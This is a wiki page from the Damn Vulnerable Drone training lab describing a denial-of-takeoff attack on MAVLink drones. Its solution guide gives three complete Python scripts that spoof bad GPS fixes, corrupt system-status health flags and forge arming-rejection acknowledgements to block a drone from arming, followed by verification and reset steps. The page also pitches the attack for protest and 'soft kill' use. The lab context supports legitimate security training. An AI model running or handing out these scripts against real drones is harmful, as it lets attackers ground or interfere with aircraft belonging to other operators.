Denial of Takeoff - nicholasaleks/Damn-Vulnerable-Drone GitHub Wiki
Preventing a drone from arming or initiating takeoff by interfering with pre-flight checks or system status reporting.
Damn Vulnerable Drone > Attack Scenarios > Denial of Service > Denial-of-Takeoff
A Denial-of-Takeoff attack involves interfering with the drone's ability to complete pre-arm checks or pass required system validations that occur before arming. MAVLink-based drones validate sensor states (GPS lock, battery voltage, RC signal, EKF health, etc.) before allowing motors to spin. By exploiting these dependencies — through spoofed or malformed messages — an attacker can deny takeoff without needing to interfere once airborne.
This type of attack is low-risk and stealthy, and may be ideal in protest scenarios, soft kill missions, or field environments where denying flight is more important than crashing the aircraft.
⚠️ Solution Guide
# gps_glitch_injection.py
from pymavlink import mavutil
import time
import sys
def main(target_ip, target_port):
master = mavutil.mavlink_connection(f'tcp:{target_ip}:{target_port}')
master.wait_heartbeat()
print("Connected to drone. Sending bad GPS data...")
while True:
master.mav.gps_raw_int_send(
time_usec=int(time.time() * 1e6),
fix_type=1, # No usable fix
lat=0,
lon=0,
alt=0,
eph=1000,
epv=1000,
vel=0,
cog=0,
satellites_visible=0
)
print("[!] Spoofed bad GPS fix sent")
time.sleep(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python gps_glitch_injection.py <target_ip:port>")
sys.exit(1)
ip, port = sys.argv[1].split(":")
main(ip, int(port))
# sys_status_corruption.py
from pymavlink import mavutil
import time
import sys
def main(target_ip, target_port):
master = mavutil.mavlink_connection(f'tcp:{target_ip}:{target_port}')
master.wait_heartbeat()
print("Connected to drone. Sending fake SYS_STATUS...")
while True:
master.mav.sys_status_send(
onboard_control_sensors_present=0xFFFFFFFF,
onboard_control_sensors_enabled=0xFFFFFFFF,
onboard_control_sensors_health=0x00000000,
load=500,
voltage_battery=12000,
current_battery=100,
battery_remaining=90,
drop_rate_comm=0,
errors_comm=0,
errors_count1=1,
errors_count2=1,
errors_count3=1,
errors_count4=1
)
print("[!] Spoofed unhealthy SYS_STATUS sent")
time.sleep(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python sys_status_corruption.py <target_ip:port>")
sys.exit(1)
ip, port = sys.argv[1].split(":")
main(ip, int(port))
# command_ack_block_arm.py
from pymavlink import mavutil
import sys
def main(target_ip, target_port):
master = mavutil.mavlink_connection(f'tcp:{target_ip}:{target_port}')
master.wait_heartbeat()
print("Connected. Sending spoofed COMMAND_ACK to block arming...")
master.mav.command_ack_send(
command=mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM,
result=mavutil.mavlink.MAV_RESULT_FAILED
)
print("[!] Spoofed arming rejection sent")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python command_ack_block_arm.py <target_ip:port>")
sys.exit(1)
ip, port = sys.argv[1].split(":")
main(ip, int(port))
After running any of the spoofing scripts:
- Attempt to arm the drone via QGroundControl or MAVProxy
- Look for GCS messages such as:
Pre-Arm: GPS fix requiredPre-Arm: Sensor health check failedCommand rejected by component
- Reboot the drone to reset its sensor and system state
- Cease all spoofing activity
- Confirm GPS and sensor inputs return to normal via GCS status indicators